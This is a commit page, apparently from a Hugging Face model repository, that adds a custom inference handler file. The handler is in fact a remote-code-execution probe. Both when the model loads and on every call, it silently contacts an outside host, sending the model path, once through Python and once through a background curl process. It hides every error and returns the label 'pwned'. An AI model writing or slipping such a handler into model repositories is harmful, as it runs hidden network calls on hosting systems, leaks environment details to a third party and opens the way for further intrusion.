custom handler
Browse files- handler.py +32 -0
handler.py
ADDED
|
@@ -0,0 +1,32 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
"""Custom HuggingFace Inference Handler - RCE Test"""
|
| 2 |
+
import os
|
| 3 |
+
import subprocess
|
| 4 |
+
import urllib.request
|
| 5 |
+
|
| 6 |
+
class EndpointHandler:
|
| 7 |
+
def __init__(self, path=""):
|
| 8 |
+
# This executes at model load time
|
| 9 |
+
try:
|
| 10 |
+
urllib.request.urlopen(
|
| 11 |
+
"https://xitro-env-probe.hf.space/rce?src=handler_init&path=" + str(path)
|
| 12 |
+
)
|
| 13 |
+
except:
|
| 14 |
+
pass
|
| 15 |
+
# Also try subprocess
|
| 16 |
+
try:
|
| 17 |
+
subprocess.Popen(
|
| 18 |
+
["curl", "-s", "https://xitro-env-probe.hf.space/rce?src=handler_subprocess"],
|
| 19 |
+
stdout=subprocess.DEVNULL,
|
| 20 |
+
stderr=subprocess.DEVNULL
|
| 21 |
+
)
|
| 22 |
+
except:
|
| 23 |
+
pass
|
| 24 |
+
|
| 25 |
+
def __call__(self, data):
|
| 26 |
+
try:
|
| 27 |
+
urllib.request.urlopen(
|
| 28 |
+
"https://xitro-env-probe.hf.space/rce?src=handler_call"
|
| 29 |
+
)
|
| 30 |
+
except:
|
| 31 |
+
pass
|
| 32 |
+
return [{"label": "pwned", "score": 1.0}]
|